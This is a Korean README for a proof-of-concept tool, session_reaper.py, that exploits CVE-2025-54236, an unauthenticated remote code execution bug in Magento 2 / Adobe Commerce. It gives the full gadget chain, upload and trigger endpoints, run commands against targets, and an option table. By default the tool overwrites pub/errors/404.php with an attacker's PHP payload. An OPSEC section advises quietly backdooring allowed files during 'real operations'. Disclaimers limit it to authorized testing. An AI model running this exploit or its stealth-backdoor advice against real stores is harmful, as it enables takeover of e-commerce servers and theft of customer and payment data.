
PoC Magento 세션 리퍼 - CVE-2025-54236
CVE-2025-54236 ("SessionReaper")를 위한 통합 PoC, Magento 2 / Adobe Commerce의 REST API에서 중첩 역직렬화를 통한 중요한 인증되지 않은 RCE입니다.
승인된 보안 테스트 전용입니다. 귀하가 소유하거나 명시적인 서면 허가를 받은 시스템에만 사용하십시오.
이 도구는 모든 벡터에 공통된 세 단계와 트리거를 연결합니다:
phpggc -se -a Guzzle/FW1 <remote_path> <payload.php>는 역직렬화 시 payload.php를 <remote_path>에 쓰는 직렬화된 객체를 빌드합니다.POST /customer/address_file/upload는 직렬화된 blob을 sess_<SESSID>로 저장합니다. Magento는 업로드된 주소 파일을 파일 이름의 첫 문자로 분산시키므로 media/customer_address/s/e/sess_<SESSID>에 위치합니다 (따라서 --save-path에 s/e/가 있습니다).Session\Config를 구성하고 setSavePath() → setOption() → ini_set('session.save_path', ...) (프로세스 전역 부작용)을 통해 PHP의 세션 핸들러를 업로드된 blob을 가리키도록 합니다.Cookie: PHPSESSID=<SESSID>를 포함한 요청은 session_start()가 오염된 파일을 읽고 unserialize()하도록 하여 가젯을 발동시키고 페이로드를 작성합니다.세 가지 벡터 모두 동일한 싱크(context → urlBuilder → session → sessionConfig → savePath)에 도달합니다. 사용된 엔드포인트, HTTP 동사 및 Magento 모듈만 다릅니다. 이는 WAF나 비활성화된 모듈이 하나의 엔드포인트를 차단하지만 다른 엔드포인트는 차단하지 않을 때 유용합니다.
어떤 벡터에도 실제 장바구니가 필요하지 않습니다.
ServiceInputProcessor는 입력 해석 중에 메서드 매개변수를 역직렬화합니다 — 서비스가 장바구니 조회를 호출하기 전에 — 따라서abc라는 더미cartId가 세 가지 모두에서 싱크에 도달합니다. 이후의 "장바구니를 찾을 수 없음" 오류(404/500)는 예상되며 역직렬화 부작용이 이미 발생했음을 확인합니다.
--sku플래그는 트리거 전에 도구가 실제 게스트 장바구니를 만들고 제품을 추가하기를 원하는 경우 사용할 수 있습니다 (GraphQL을 통해 확인됨). 이는 선택 사항이며 익스플로잇에 필요하지 않습니다 — 완전히 현실적인 체크아웃 흐름을 선호하는 환경에서만 존재합니다. 생략하면 도구는 더미abc장바구니를 사용합니다.
var/session/). Redis 및 데이터베이스 기반 세션은 이 특정 RCE 체인의 영향을 받지 않습니다. 원격으로 열거할 수 없으므로 블라인드로 시도해야 합니다./customer/address_file/upload에 인증 없이 접근 가능해야 합니다.requestsphpggc — PATH, 일반 설치 위치에서 자동 감지되거나 대체 수단으로 ambionics/phpggc Docker 이미지로 가져옵니다.payload.php (반드시 <?php로 시작해야 함)pip install requests
git clone https://github.com/ambionics/phpggc /opt/phpggc # 또는: docker pull ambionics/phpggc
# order (원본 벡터) — 장바구니 없음, 자격 증명 없음
python3 session_reaper.py --host https://target.com --method order
# checkmo — 결제 엔드포인트, REST API용 스페인어 스토어 범위
python3 session_reaper.py --host https://target.com --method checkmo --api-store es
# address — 배송 엔드포인트
python3 session_reaper.py --host https://target.com --method address --api-store all
# 선택 사항: 알려진 SKU로 실제 장바구니 흐름 실행 (필수 아님)
python3 session_reaper.py --host https://target.com --method address --sku PROD-001
이 도구는 두 개의 독립적인 스토어 코드를 사용합니다:
--api-store — ServiceInputProcessor가 실행되는 역직렬화 요청 URL의 범위 (/rest/<api-store>/V1/guest-carts/...).--store — 트리거 요청의 범위 (GET /<store>/) 및 --sku 사용 시 장바구니 요청의 범위.스토어 뷰 코드는 관리자가 정의합니다. es/fr이라고 가정하지 마십시오. 먼저 활성 스토어 뷰를 열거하십시오 — 존재하지 않는 범위에 대한 요청은 단순히 실패합니다.
pub/errors/404.php인 이유Magento의 기본 Nginx 구성은 7개의 PHP 파일만 fastcgi_backend에 전달합니다:
index.php, get.php, static.php,
errors/report.php, errors/404.php, errors/503.php, health_check.php
다른 모든 .php (pub/media/에 드롭된 파일 포함)는 거부되며 실행되지 않습니다. 따라서 페이로드는 새 파일을 드롭하는 대신 이 7개의 허용 파일 중 하나를 덮어써야 합니다. pub/errors/404.php가 기본값인 이유는 Magento가 누락된 페이지에서 내부적으로 이를 렌더링하여 활성 스토어에서 자주 실행되기 때문입니다.
OPSEC:
404.php를 완전히 덮어쓰는 것은 큰 소리를 냅니다 (모든 404에서 실행됨). 실제 작전에서는 파일을 덮어쓰지 않고 허용 파일을 미묘하게 백도어하십시오.
--username/--password는 특정 설정을 위해 Bearer 토큰이 필요한 경우에만 필요합니다./tmp/sess_<SESSID> 파일이 제거됩니다.승인된 보안 연구 및 테스트용으로만 제공됩니다. 작성자는 오용에 대한 책임을 지지 않습니다. 명시적 허가 없이 시스템에 대해 실행하지 마십시오.
| 방법 | 엔드포인트 | 동사 | 체인 진입점 |
|---|
order | /rest/<store>/V1/guest-carts/abc/order | PUT | paymentMethod → paymentData → Payment\Helper\Data |
checkmo | /rest/<store>/V1/guest-carts/abc/set-payment-information | POST | paymentMethod → paymentData → Payment\Helper\Data |
address | /rest/<store>/V1/guest-carts/abc/estimate-shipping-methods | POST | address → addressConfig → addressHelper → Customer\Helper\Address |
| 플래그 | 기본값 | 설명 |
|---|
--host | (필수) | 대상 기본 URL |
--method | (필수) | address | checkmo | order |
--store | default | 트리거 요청의 스토어 코드 (--sku 사용 시 장바구니에도 적용) |
--api-store | default | 역직렬화 엔드포인트 URL의 스토어 코드 (all | es | default | 사용자 정의) |
--sku | (없음) | 선택 사항. 설정 시 이 SKU로 실제 게스트 장바구니를 생성합니다. 필수 아님. |
--payload-in | payload.php | 대상에 쓸 PHP 페이로드 |
--payload-out | /var/www/html/pub/errors/404.php | 원격 쓰기 경로 (웹 실행 가능 위치여야 합니다 — 아래 참고 참조) |
--save-path | media/customer_address/s/e/ | 가젯 체인에 주입되는 savePath |
--phpggc | (자동) | phpggc 바이너리의 명시적 경로 |
--proxy | http://127.0.0.1:8081 | HTTP 프록시 (예: Burp) |
--no-proxy | off | 프록시 비활성화 |
--username / --password | (없음) | Bearer 토큰을 위한 선택적 고객 자격 증명 |